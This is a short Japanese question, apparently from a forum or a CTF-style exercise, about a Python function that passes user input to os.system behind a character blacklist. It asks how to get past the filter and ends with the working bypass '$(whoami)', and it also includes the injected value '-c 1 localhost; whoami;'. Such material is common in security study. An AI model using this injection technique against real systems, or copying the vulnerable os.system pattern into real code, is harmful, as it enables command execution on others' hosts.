次のpython関数コード(変更する権限なし))の「ブラックボックス」があります。
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Invalid characters')
exit()
os.system('ping ' + command)
次のコマンド入力でこの機能を実行したい:
-c 1 localhost; whoami;
このコマンドを実行するには:
ping -c 1 localhost; whoami;
禁止されている文字のチェックをバイパスするにはどうすればよいですか?別の文字/エンコーディングを使用できますか?
$(whoami)
はフィルターをバイパスしてwhoami
を実行する必要があります。